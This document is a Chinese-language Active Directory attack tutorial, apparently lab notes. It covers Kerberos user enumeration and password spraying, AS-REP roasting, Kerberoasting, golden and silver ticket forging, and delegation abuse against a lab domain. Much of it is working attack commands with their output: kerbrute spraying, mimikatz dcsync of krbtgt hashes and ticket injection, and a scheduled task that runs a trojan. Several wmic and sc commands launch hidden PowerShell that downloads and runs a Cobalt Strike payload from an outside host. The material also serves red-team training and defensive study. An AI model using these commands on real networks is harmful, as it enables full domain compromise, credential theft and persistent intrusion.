横向移动的方式
- WEB漏洞
- 远程桌面
- 账号密码
- 不安全的配置
- 系统漏洞
用户枚举与喷洒
枚举用户原理
Kerberos协议
提供身份信息的数据包是AS-REQ(AS-requests)
发送TGT的数据包是AS-REP(AS-response)
数据包分析
使用kekeo工具申请TGT时,进行抓包分析
AS-REQ数据包中主要包含了一些用户的信息,由客户端发送给AS的数据包,其中由几个字段信息
- PA-DATA pA-ENC-TIMESTAMP 使用用户的hash,或者AES key加密时间戳 生成value
- kdc-options 协商字段
- cname 请求的用户名
- realm: 域名
- sname 请求的服务名
枚举原理
在AS-REQ阶段客户端向AS发送用户名,cname字段存放用户名,AS对用户名进行验证,用户存在与不存在返回的数据包信息不同。
分别有四种错误代码:
- KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户名存在,但没有提供密码)
- KRB5KDC_ERR_PREAUTH_FAILED 用户名存在,但密码错误
- KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(用户名被禁用)
- KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(用户名不存在)
参考地址:4771 (F) Kerberos 预身份验证失败。 (Windows 10) - Windows security | Microsoft Learn
可以利用返回的KRB5DC_ERR_PREAUTH_REQUIRED或KRB5KDC_ERR_PREAUTH_FAILED 错误代码,进行枚举用户名。
如果提供正确的账户密码,在Kerberos数据包中就会出现msg-type:krb-as-rep字段。
数据包中的PA-DATA字段是由NTLM-HASH或AES KEY加密的,故原理上明文密码、NTLM-HASH、AES256都可以进行喷洒。
参考脚本代码
https://github.com/3gstudent/pyKerbrute/blob/master/EnumADUser.py
关键代码
注意事项
1、域环境中可以使用Kerberos和NTLM协议进行喷洒域内用户
2、工作组中可以使用NTLM协议进行hash碰撞
工具
kerbrute
kerbrute由Go语言开发,github已提供编译好的文件
地址:https://github.com/ropnop/kerbrute/releases
用法
用户名枚举
kerbrute.exe userenum --dc 域控IP -d 域名 用户字典
密码喷洒(单密码,多用户,有锁定策略)
kerbrute.exe passwordspray --dc 域控IP -d 域名 用户字典 密码
密码喷洒(多密码,单用户,无锁定策略)
kerbrute.exe bruteuser --dc 域控IP -d 域名 密码字典 用户名
pykerbute
python2编写,注意运行环境
用法
用户名枚举
EnumADUser.py IP地址 域名 用户名字典 tcp或udp
密码喷洒-明文密码
ADPwdSpray.py IP地址 域名 用户名字典 clearpassword 明文密码 tcp或udp
密码喷洒-hash值
ADPwdSpray.py IP地址 域名 用户名字典 ntlmhash hash值 tcp或udp
ADPwdSpray.py 192.168.110.10 xbxaq.com user.txt ntlmhash DB40247DAB331AC57C207032F198F364 tcp
工作组和域内喷洒区别
工作组中机器
- 工作组机器-使用NTLM协议
- 域内机器-使用Kerberos或者NTLM协议
域内机器
- 域内机器-kerberos协议
- 工作组机器-NTLM协议
实验
通过喷洒控制域内主机
工作组用户查找administrator或者普通管理员,域内用户查找administrator或者普通域内管理员。
工作组喷洒域内主机上线
已经控制一台工作组机器,需要上线域控
前提条件
- 明确域控IP地址
- 明确域名
- 域内用户(需要枚举)
操作
前提条件:
- 已控制一台工作组机器 192.168.110.7
- 域控的IP地址为 192.168.110.5
- 域名为xbxaq.com
域控的账户名一般为administrator
1、进行密码喷洒(单用户多密码),将工具上传到192.168.110.7机器中
shell kerbrute.exe bruteuser --dc 192.168.110.5 -d xbxaq.com pw.txt administrator
得到域控账户的密码,知道了明文密码直接进行横向
2、使用wmic进行横向
shell wmic /node:192.168.110.5 /user:administrator /password:a1b2c3.. process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""
3、上线成功
域内主机喷洒域控上线
已经控制一台域内主机,需要上线域控
前提条件
- 明确域控IP地址
- 明确域名
- 域内用户(不需要进行枚举)
操作
前提条件:
- 已控制一台工作组机器 192.168.110.7(高权限用户)
- 域控的IP地址为 192.168.110.5
- 域名为xbxaq.com
1、使用net user /domain查询域内有哪些用户
2、进行密码喷洒(单用户多密码),将工具上传到192.168.110.7机器中
shell kerbrute.exe bruteuser --dc 192.168.110.5 -d xbxaq.com pw.txt administrator
得到域控账户的密码,知道了明文密码直接进行横向
3、使用IPC$配合服务上线
IPC$
net use \\192.168.110.5\IPC$ "a1b2c3.." /user:"administrator"
使用CS生成的PS脚本
sc \\192.168.110.5 create test binpath= "cmd.exe /c powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""
sc \\192.168.110.5 start test
上线成功
工作组之间进行上线
工作组只能使用IPC、明文密码或者PTH认证
已经控制一台工作组机器,需要上线另外一台工作组机器
前提条件
- 明确工作组机器的IP地址
操作
目前条件为已控制192.168.110.7机器,且机器用户为administrator,目标IP地址为192.168.110.8
1、既然在同一个域内,首先抓取192.168.110.7机器用户的账号密码,使用mimikatz工具
获取到明文密码a1b2c3…,然后使用wmic进行CS上线
2、也可以使用IPC$配合计划任务进行上线
当两台机器的用户名和密码是相同时,可以直接使用dir
copy木马到对方的机器中
创建计划任务并启动任务
schtasks /create /s 192.168.110.8 /tn cs /tr c:/muma.exe /sc onstart /RU System
/F #创建计划任务
schtasks /run /s 192.168.110.8 /u administrator /p a1b2c3.. /i /tn "cs" #启动任务
上线成功
Roasting攻击
原理
概述
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置所导致的,管理员在域控上勾选了【不要求Kerberos】预身份验证。该攻击发生在AS-REP数据包,。
默认是没有勾选的
原理
AS-REP(AS-Response):当KDC收到AS-REQ之后解密PA-DATA pA-ENC-TIMESTAMP,如果成功就返回AS- REP
- 第一个enc-part:TGT中由KRBTGT哈希值加密部分
- 第二个enc-part:TGT中由用户哈希值加密部分
有无Kerberos预身份验证的区别
没有Kerberos预身份验证
kekeo工具
tgt::ask /user:用户名 /domain:域名 /password:密码
AS-REQ
AS-REP
有Kerberos预身份验证
使用ASREPRoast.ps1脚本
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
注意:如果导入失败,则需要管理员权限执行该命令:set-ExecutionPolicy RemoteSigned
AS-REQ
AS-REP
如果勾选了【不要求Kerberos预身份验证】,只要我们提供用户名,就会返回该用户的TGT
获取不要求预身份验证的用户
想要破解用户的密码,首先要知道哪些用户勾选了【不要求Kerberos预身份验证】
在域控机器上
可以直接执行以下命令
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
在域内机器上(已加入域环境)
可以执行PowerView.ps1脚本
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired –Verbose
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
在域内工作组的机器(没有加入域环境)
前提条件得知道一个域内账户及密码
adind.exe -h IP地址:389 -u 域名(没有.com)\用户名 -up 密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
AdFind.exe -h 192.168.110.10:389 -u xbxaq\zhangsan -up a1b2c3.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
获取AS-REQ的enc-part值
域内主机
如果想要知道用户的enc-part值可以使用相关工具,通过LDAP协议进行查询用户,然后再列出相关的enc-part值
Rubeus.exe
Rubesu.exe是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中。
Rebeus提供了大量的用于Kerberos攻击的功能,比如 TGT请求/ST请求/AS-REP Roasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。
Rubeus.exe asreproast /format:john /outfile:1.txt
注意:Rubesu工具需要 .NET Framework 3.5支持,否则会运行不了。
这里环境为Windows server 2016,离线安装
安装成功之后再次执行(如果不行,重新计算机)
Rubeus.exe asreproast /format:john /outfile:1.txt
ASREPRoast.ps1脚本
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
非域内主机
非域内主机想要enc-part值两种方法:
- 用户字典一 一 枚举
- GetNPUsers.exe
通过前面的操作,我们知道了哪些用户勾选了【不要求预身份验证】,可以使用GetNPUsers.exe工具,列出具体用户的enc-part值。
GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass
提示:可以在目录后面加一个 > hash.txt 便于提取值
GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass > hash.txt
zhong用户的enc-part值为
$krb5asrep$23$zhong@XBXAQ:71bd6c09df1d882dbe339a52ba55c5dc$23a142f0912af9e4eae75499120ec7e9027f9f87d294dcd64098f9ad397a100ecee3d1629a4ce1a4d575ecd3d137606057b294834c7a6a6b31f921cf507283171f0c46b053d5a358bf86a9ff9b45d1438e7c442ea17938e1055f56d5d637678cc55db24b07cc87c042d7c32749066693d2f4bc5751e6e4f18e64e4635b318c32c046cd1440a5493b5045008cc303110eccb5d7a07a121eaa1ba7dfe6a7bd44310a7973b5db08307aa924b813922a76a0a2c3f3a2b08b6362a88ddf4ed6c7dc5af4896252cba3c1fee7feef4a9b0607fecf728536aa1d0f14068ed60093564952dfa7
破解part值
john
john.exe --wordlist=密码字典 hash.txt
hash.txt中的值为GetNPUsers工具所破解出来的
提示:建议不要将字典文档和hash值文档放在run目录下
hashcat
命令手册: https://hashcat.net/wiki/doku.php?id=example_hashes
注意:个别工具抓取的part值与18200的命令格式有所不同,需要手动修改
官方格式
GetNPUsers工具抓取的part值格式
ASREPRoast.ps1脚本抓取的part值格式
hashcat -m 18200 hash.txt 密码字典 --force
提示:-m 后面的数字表示支持破解的格式,尽量在真实机中运行。
如果遇到下面这个问题,可以参考此文章windows11安装hashcat遇到的问题
CUDA 是 NVIDIA 发明的一种并行计算平台和编程模型
Kerberoasting
Kerberoasting 是域渗透中经常使用的一项技术,Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。
原理
TGS-REP
TGS-REP是由TGS发送给客户端的,其中包含
- ticket:ST票据
- 第一个enc-part值:ticket中的part是使用服务密钥的加密内容(server hash加密)
- 第二个enc-part值:外层的part值是使用CT_SK加密的(CT_SK加密)
ST票据的加密使用的是aes256,可以通过将算法变为RC4_HMAC_MD5就比较容易破解。
用户解密后重新封装的TGT
TGS封装ST发送给客户端
TGS收到用户TGT后做出的动作
- TGS接收到请求之后,首先检查自身是否存在客户端请求的服务(查询SPN)
- 如果服务存在,则通过krbtgt用户的NTLM HASH解密TGT,并得到CT_SK(Login Session Key)
- 解密成功后,使用CT_SK解密CT_SK加密的内容,然后检查里面的数据内容
解密TGT成功之后的动作
- 使用CT_SK加密CS_SK(Service Session Key)最外层的enc-part值
- ST包含了客户端用户信息和原始的CS_SK
- 最终Service Session Key和ST服务票据发送给客户端
也就是说不管用户有没有访问服务的权限,只要TGT正确,都会返回ST服务票据。这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据。
攻击原理
- ST票据的加密方式为aes256,但可以使用MD5加密
- 在TGS认证TGT的时候,不管用户是否有访问服务的权限,都会返回目标服务的ST票据
SPN
概述
服务主体名称(Server Principal Name)SPN,是服务实例的唯一标识符。
Kerberos身份验证使用SPN将服务实例与服务账户进行关联,在域中如果有多个服务,那么每个服务都必须有自己的SPN和用户。
一个用户可以有多个SPN,但是一个SPN只能对应一个服务,SPN必须注册在用户下。
简述
- SPN:服务主体名称,将服务用户和服务进行关联
- 服务用户:用于登录运行服务的用户
- 服务:运行在计算机上的服务
命令格式
<serviceclass>/<host>:<port>/<service name>
两个必须元素:serviceclass为服务类,host为服务所在的主机名字
例如:Mysql/SQL.xbxaq.com
SPN注册在机器用户下
计算机加入域后,机器用户(主机名$)会同步到域控。
服务权限为local system或者Network service的服务都会自动注册在机器用户下
SPN注册在域用户下
SPN可以注册在域内用户中,默认只有机器用户或者域管理员才有权限去注册SPN(将服务注册在域用户的权限)。
域内的普通用户如果要进行注册,需要修改权限。
SPN服务查询命令
setspn -Q */*
提示:第二个CN为Computers的用户即为机器用户,为Users的用户为域用户
SPN注册注意事项
在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并且注册到了用户上。
注册SPN有两种方式:
- 系统自动完成注册,例如安装的SQL等服务
- 手动注册,根据SPN的格式进行手动注册
注册SPN的用户有两种:
- 注册在机器用户下(机器名$)
- 注册在域用户下
提示:在注册SPN的时候只有机器用户或者域管理员用户才有权限,普通的域用户默认是没有权限的,除非修改相关的设置。
手动注册SPN
setspn -U -S HTTP/zhangsan.xbxaq.com:443 zhangsan
手动注册一个HTTP服务到zhangsan机器上,注册的域内用户是zhangsan
setspn -C -S MAIL/zhangsan.xbxaq.com:25 ZHANGSAN
手动注册一个邮箱服务到zhangsan机器上,注册的机器用户是ZHANGSAN
如果SPN注册在机器用户下
大致流程为
- A计算机提供TGT和需要访问的服务
- TGS检查服务名与对应的SPN
- TGS发现SPN中存在对应的服务名,例如为MYSQL
- SPN中MYSQL服务名对应的用户为SQL$ 机器用户
- 生成ST票据返回给A计算机(则ST票据使用的是SQL$-HASH进行加密)
那么在这个过程中我们是无法使用kerberoasting,因为机器用户的密码是非常难以破解的
如果SPN注册在域内用户下
大致流程为
- A计算机提供TGT和需要访问的服务
- TGS检查服务名与对应的SPN
- TGS发现SPN中存在对应的服务名,例如MYSQL
- SPN中MYSQL服务名对应的用户是ZHANGSAN
- 生成ST票据返回给A计算机(则ST票据使用的是ZHANGSAN-hash值进行加密)
SPN探测
在控制一台内网主机后,可以探测域内注册的SPN。原理是使用LDAP协议进行查询
SPN探测分为域内主机探测和非域内主机探测。
域内探测
如果控制的计算机已经加入域,并且使用域用户进行了登录,即使没有提权到system用户,也可以进行查询。
setspn命令
查询所有的SPN
setspn -Q */*
查询指定域内的SPN
setspn -T 域名 -Q */*
PowerView脚本
注意:该脚本只能查询域用户注册的SPN,无法查询机器用户注册的SPN。
Import-Module .\Powerview.ps1
Get-NetUser -SPN
GetUserSPNs脚本
adfind工具
AdFind.exe -b "dc=xbxaq,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName
非域内探测
对于非域内的主机,可以通过adfind工具,但是必须提供一个域内的账号密码,否则没有办法通过 kerberos协议,除非发现kerberos协议的漏洞。
adfind工具
AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)" servicePrincipalName
查找高权限用户的SPN
AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
获取高权限SPN服务票据
概述
获取SPN的目标就是用于破解SPN对应的账户密码,但是SPN可以注册在机器用户与域用户中。
-
机器用户的密码获取非常困难,因为机器用户的密码是随机的
-
SPN可以注册在任何域用户下,故需要查询高权限的域用户SPN
过滤出SPN之后,就需要针对该类用户进行ST的申请
- 正常申请ST后进行破解属于kerberoasting
- 伪造ST属于白银票据
申请ST票据–GetUserSPNs工具
域内和非域内计算机都可以使用,这里在非域内计算机上进行执行
获取所有已注册SPN的域内用户ST票据
GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt
获取指定的已注册SPN用户的ST票据
GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt -request-user zhangsan
使用该工具获取的ST票据为MD5加密
申请ST票据–Rubeus工具
该工具只能用于域内机器
目标是一个hash值
Rubeus.exe kerberoast /format:john /outfile:hash.txt
申请ST票据–mimikatz工具
条件:当前域用户已经注册过SPN,且权限较高
首先查看当前域用户是否中注册过SPN
setspn -Q */*
使用mimikatz工具直接申请ST票据,从内存中导出
kerberos::ask /target:HTTP/zhangsan #申请票据
kerberos::list /export #导出所有票据
破解ST票据hash值
因为获取ST票据的工具不同,所以格式也有所不同,有kirbi格式也有hash值格式。
破解kirbi格式-tgsrepcrack.py脚本
注意:tgsrepcrack.py脚本为python2环境
python2 tgsrepcrack.py 密码字典 票据
需要安装kerberos库
破解hash值–hashcat
Hashcat –m 13100 hash pass --force
由于环境问题,本机没有安装CUDA,故没有成功(CUDA 是 NVIDIA 发明的一种并行计算平台和编程模型)
CUDA的安装可参考这篇文章windows11安装hashcat遇到的问题
黄金票据
原理
黄金票据一般都是伪造TGT,生成TGT后不需要再和AS进行校验,直接与TGS进行校验。
黄金票据可以在本地直接生成,生成的票据在域内机器或者非域内机器都可以使用。
黄金票据的作用
- 权限维持
- 横向移动
利用条件
- 必须知道Krbtgt机器账户的HASH值
- 域内域名
- 域的SID值
- 需要伪造的用户(大部分情况下都是administrator)
获取域的SID值命令
whoami /all
获取Krbtgt的hash值
两种方式:
- 控制域控后直接查询
- 通过dcsync查询
hash值存储位置
由于Krbtgt是域用户,不是域控上的本地用户,故不会存储在域控SAM文件中,而是在NTDS文件中。
控制域控后使用mimikatz直接查询
lsadump::dcsync /domain:xbxaq.com /user:krbtgt
控制非域控后使用dcsync的技术获取
首先查看当前域用户权限,是否可以使用dcsync的技术
- administrators组
- domain admins组
- enterprise admins组
- 域控制器的计算机账户
以上组内的用户都可以使用dcsync的技术,域控的Administrator 和 system 也可以
mimikatz命令
lsadump::dcsync /domain:xbxaq.com /user:krbtgt
制作票据
黄金票据本质上是伪造TGT,既然是伪造所以在任何计算机上都可以进行伪造,生成的TGT票据就可以直接打入内存(PTT),从而实现对整个域的控制。
ticketer.exe工具
ticketer.exe -domain-sid sid值 -nthash krbtgt-hash -domain 域名
查看当前计算机所有用户的SID值
whoami /all
krbtgt账户的hash值
通过ticketer制作黄金票据
ticketer.exe -domain-sid S-1-5-21-1445356431-3472965171-1941165345 -nthash 607283a6b62ecae1081cb82829d6c464 -domain xbxaq.com administrator
mimikatz工具
通过mimikatz工具直接生成黄金票据,然后注入到内存中
kerberos::golden /user:用户名 /domain:域名 /sid:sid值 /krbtgt:NTLM-HASH值 </ptt>
注意:如果携带/ptt则会自动注入到内存中,不携带则在本地生成票据。
kerberos::golden /user:administrator /domain:xbxaq.com /sid:S-1-5-21-1445356431-3472965171-1941165345 /krbtgt:607283a6b62ecae1081cb82829d6c464
实验
域内机器上线域控
1、已控制域内192.168.110.7机器
2、查询当前用户名及所在组
3、查询当前的SID
S-1-5-21-2744095687-1279945619-2928600117
4、获取krbtgt用户的hash值
mimikatz lsadump::dcsync /domain:xbxaq.com /user:krbtgt
6d342f0e6752f07076928c15ea90d5f1
5、通过mimikatz制作黄金票据,并且直接注入到内存中
mimikatz kerberos::golden /user:administrator /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /krbtgt:6d342f0e6752f07076928c15ea90d5f1 /ptt
6、横向上线
使用cs中自带的psexec工具
jump psexec 192.168.110.5 test #test为监听器
工作组机器上线域控
已经控制一台工作组机器,得知内网的域名为xbxaq.com
猜测192.168.110.5为域控机器
1、首先将DNS指向域控(改网卡或者hosts文件)
echo 192.168.110.5 xbxaq.com >> C:\Windows\System32\drivers\etc\hosts
或者
netsh interface ipv4 add dns 网口名字 DNS
2、获取krbtgt的hash值
mimikatz lsadump::dcsync /domain:xbxaq.com /user:krbtgt
6d342f0e6752f07076928c15ea90d5f1
3、获取SID
S-1-5-21-2466639231-2518717437-756379722
4、生成黄金票据且直接注入内存中
mimikatz kerberos::golden /user:administrator /domain:xbxaq.com /sid:S-1-5-21-2466639231-2518717437-756379722 /krbtgt:6d342f0e6752f07076928c15ea90d5f1 /ptt
5、psexec上线
白银票据
原理
白银票据就是伪造ST票据,Kerberoasting是破解ST票据中服务用户的hash值
两种之间的区别是:
- 白银票据:伪造ST票据使用的是机器用户的hash值
- Kerberoasting:破解ST票据中的服务用户的hash值
利用条件
- 域名
- 域SID值
- 目标服务器名
- 可利用的服务
- 目标机器用户的NTLM-HASH值
- 需要伪造的用户名
获取机器用户的hash值
mimikatz工具
如果有域内管理员账户可以使用dcsync获取
lsadump::dcsync /domain:xbxaq.com /all /csv
secretsdump.exe
通过枚举获取hash值,前提条件拿到了域管理员账号密码
secretsdump.exe 域名/administrator:密码@IP地址
常用伪造服务
CIFS
在windows主机之间进行网络文件共享是通过使用微软公司自己的CIFS服务实现的。
伪造 LDAP 服务权限
可以实现ldap查询,或者执行dcsync
host服务
可以实现计划任务等
制作票据
通过mimikatz制作票据
kerberos::golden /domain:域名 /sid:SID值 /target:目标机器 /service:服务名 /rc4:目标机器上的机器账户NTLM-HASH值 /user:伪造的账户名 </ptt>
注意:如果携带/ptt则会自动注入到内存中,不携带则在本地生成票据。
kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-1445356431-3472965171-1941165345 /target:dc.xbxaq.com /service:CIFS /rc4:5881af9f2f219ae270438137a7f59aaf /user:administrator
如果命令后面跟上/ptt
kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-1445356431-3472965171-1941165345 /target:dc.xbxaq.com /service:CIFS /rc4:5881af9f2f219ae270438137a7f59aaf /user:administrator /ptt
实验
域内机器上线域控
DC$:b11bfe9b4b21b5878366ec1973ca237f
1、查看当前用户所在组
net user lm /domain
2、查看sid值
S-1-5-21-2744095687-1279945619-2928600117
3、伪造LDAP 服务的白银票据
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:LDAP /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt
4、使用dcsync技术查询hash值
mimikatz lsadump::dcsync /domain:xbxaq.com /all /csv
5、伪造黄金票据
6、wmic上线CS
shell wmic /node:dc.xbxaq.com process call create "powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://192.168.110.1:8000/payload.ps1'))\""
工作组机器上线域控
1、查询是否加入域
2、修改DNS或者hostst文件使得域内域名指向域控
netsh interface ipv4 add dns 本地连接 192.168.110.5
3、获取白银票据中所需要的条件,伪造HOST服务,配合Windows服务横向
kerberos::golden /domain:域名 /sid:SID值 /target:目标机器 /service:服务名 /rc4:目标机器上的机器账户NTLM-HASH值 /user:伪造的账户名 </ptt>
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:CIFS /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt
4、再伪造一张ladp服务
mimikatz kerberos::golden /domain:xbxaq.com /sid:S-1-5-21-2744095687-1279945619-2928600117 /target:dc.xbxaq.com /service:LDAP /rc4:b11bfe9b4b21b5878366ec1973ca237f /user:administrator /ptt
5、使用dcsync技术
mimikatz lsadump::dcsync /domain:xbxaq.com /all /csv
6、PTH认证 CS上线
委派
从Windows 2000开始,微软添加了委派功能,委派共分为三种
- 非约束性委派(Windows Server 2000)
- 约束性委派(Windows Server 2003)
- 基于资源的约束委派(Windows Server 2012)
非约束性委派
委派是一种应用模式,指的是将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
非约束性委派指的是服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。
被配置为非约束性的系统将把TGT存储到LSASS内存中,以便于用户能够访问终端资源。
存在的问题
- 如果配置了非约束性委派的机器被控制,就会很危险
- 如果没有对非约束性委派的机器做限制,则该机器就可以代表用户访问域内任意机器
- 如果域管理员访问了非约束性委派的机器,那么整个域内机器都可能被控制
如何让域管理员访问配置了非约束性委派的机器呢?
- 域管理员主动访问被配置了非约束性委派的机器(钓鱼等手法)
- 域管理员被动访问被配置了非约束性委派的机器(结合漏洞等手法)
约束性委派
Windows Server 2003 之后微软引入了非约束性委派,由于非约束性委派的不安全性或者场景或限制(配置了非约束性委派的机器在LSASS中缓存了用户的TGT票据可以模拟用户去访问域中任意服务),微软于2007年为Kerberos协议进行了扩展引入了S4U(Service For User)协议,该协议分为两个子协议:
- S4U2Self(Service For User To Self)
- S4U2ProxyService For User To Proxy)
两个子协议都允许服务代表用户从KDC中请求票据,约束委派限制了S4U2Proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
约束性委派是对委派的机器做了约束,被委派的机器只能访问设定好的机器服务。
基于资源的约束性委派
Windows Server 2012之后微软新引入了基于资源的约束性委派,基于资源的约束性委派不需要通过域管理员修改,而是将设置属性的权限给到了服务资源本身,可以将基于资源的约束性委派理解为传统约束性委派的反向过程。
约束性委派:委派机器的WEB系统是在域控上对WEB服务器进行了设置。
基于资源的约束性委派:委派机器的WEB系统是通过文件系统自己设置的。
S4U2Self与S4U2Proxy
2007年为Kerbero协议进行了扩展引入S4U(service for user)协议,该协议有两个子协议:
- S4U2Self(Service For User To Self)
- S4U2Proxy(Service For User To Proxy)
两个扩展协议都允许服务代表用户从KDC中请求票据,约束性委派限制了S4U2Proxy协议的请求范围,使得配置了约束性委派属性的服务只能模拟用户身份访问特定的服务。
约束性委派与基于资源的约束性委派都会用到这两个协议。
流程步骤
用户A访问WEB系统B,B代表A向KDC申请访问B的TGT和ST-B(使用S4U2Self协议),用户A拿到了ST-B就可以访问WEB系统B了。
如果在WEB系统B上配置了约束性委派(A到C的约束性委派),则WEB系统B能够使用S4U2Proxy协议将用户A发给自己的ST-B票据,转发以用户A的身份发给KDC,KDC返回WEB系统B访问文件系统C的票据ST-C,这样WEB系统B就可以访问文件系统C。
- 用户A通过NTLM或者其他认证能够访问WEB系统B
- WEB系统B代表用户A申请访问web系统B的票据(TGT和ST-B)
- KDC返回用户A的TGT和ST-B票据给WEB系统B
- B把ST-B的票据给到用户A
- 用户A拿着ST-B的票据访问WEB系统B
- WEB系统B拿着用户A的ST-B票据作为证据,去向KDC申请访问文件系统C的ST-C票据
- WEB系统使用ST-C的票据访问文件系统
存在的问题
-
服务账号B可以代表用户A向KDC申请访问B的票据,那么服务账号B能否代表域内管理员向KDC申请访问B的票据呢?
在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成 -
服务账号B可以代表用户A向KDC申请访问C的票据,那么服务账号B能否代表域内管理员向KDC申请访问C的票据呢?
在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成
非约束性委派攻击
委派设置
非约束性委派设置在域控上面,设置对象分为两种
机器账户
点击应用-确定即可
注册了SPN的用户
配置了非约束性委派的机器,一旦访问该机器,TGT就会被缓存在LSASS进程的内存中,通过klist是不能查看的,必须查看内存。
需注意以下问题:
- 域控是默认配置了非约束性委派的
- 配置的非约束性委派最好是机器用户
查询已配置账户
配置与没有配置用户属性对比
AdFind.exe进行查询
如果是在工作组中机器进行查询,需要提供域用户及密码
查询机器用户配置了非约束性委派
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
查询域用户(配置了SPN的用户)配置了非约束性委派
AdFind.exe -b "DC=xbxaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
Powerview.ps1
Import-Module .\Powerview.ps1
Get-NetComputer -unconstrained | select dnshostname, samaccountname
钓鱼方式进行委派攻击
1、诱导管理员通过Kerberos访问被控机器(诱导管理员访问借助了Windows特性会用当前账户密码进行认证的特性)
2、在被控机器上使用mimikatz进行导出
privilege::debug
sekurlsa::tickets /export
3、将administrator票据注入到内存中,就可以访问域控了
kerberos::ptt [0;524c5]-2-0-60a10000-Administrator@krbtgt-XBXAQ.COM.kirbi
打印机漏洞进行委派攻击
一般情况下,域控是不会自动访问域内机器。可以利用Windows 打印系统远程协议(MS-RPRN),该方法域用户可以使用S-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)的方法强制任何允许了Spooler服务的计算机,以通过Kerberos或NTLM对攻击者选择的目录进行身份认证。
非约束性委派主机接合Spooler打印机服务漏洞,可以让域控机器DC强制访问已控的具有本地管理员权限的非约束性委派机器,从而拿到域控用户的HASH值,从而控制整个域。
主动与被动的区别
- 主动:拿到域用户的hash值,进行PTT攻击
- 被动:拿到机器用户的hash值,使用dcsync,接着进行PTT攻击
约束性委派攻击
委派设置
约束性委派的设置分为两种:
-
仅使用Kerberos
-
可以使用任何身份协议
约束性委派需要指定委派的机器和协议必须设置
设置对象
约束性委派在域控上设置的对象分为两种
1、机器账户
2、注册了SPN的域用户
约束性委派模型
流量分析
当前环境
在zhong-PC计算机中设置了约束性委派,然后访问zhangsan-PC的CIFS服务
必须要勾选使用任何身份验证协议
选择"仅使用kerberos",即选择constrained delegation权限(S4U2Proxy)。
该选项下的"使用任何身份验证协议"则是protocol transition权限(S4U2self)。
使用Rubeus.exe工具完成
Rubeus.exe s4u /user:SERVER-16$ /rc4:9aac8b558918b3c18afc9f8182011376 /domain:xbxaq.com /msdsspn:CIFS/zhangsan.xbxaq.com /impersonateuser:administrator /ptt
- user:设置委派计算机的机器用户
- rc4:user账户的hash值
- doamin:域名
- msdsspn:访问的目标的服务地址
- impersonateuser:需要委派的用户
这个工具发送命令后,共有6个kerberos数据包
第一条数据 AS-REQ
第一条数据包为当前计算机的机器用户身份信息,请求自己的TGT,请求的这个TGT是可以转发的。
该TGT是可以转发的
第二条数据 AS-REP
该条数据返回的是SERVER-16$用户的TGT票据(可以转发的TGT)
第三条数据 TGS-REQ
该条数据包是利用上一步得到的SERVER-16$的TGT(在数据包内),然后以administrator身份向TGS申请 一个自身的票据(ST),这里使用的是S4U2Self协议。
第四条数据 TGS-REP
该数据包为返回给该机器一张administrator用户访问本计算机的ST票据
第五条数据 TGS-REQ
SERVER-16$用户得到ST票据之后,以该ST票据作为证据,向TGS申请一张administrator用户访问zhangsan-PC的CIFS服务的ST票据
第六条数据 TGS-REP
返回给本计算机,以administrator用户身份访问zhangsan-PC的CIFS票据
存在的问题解决
-
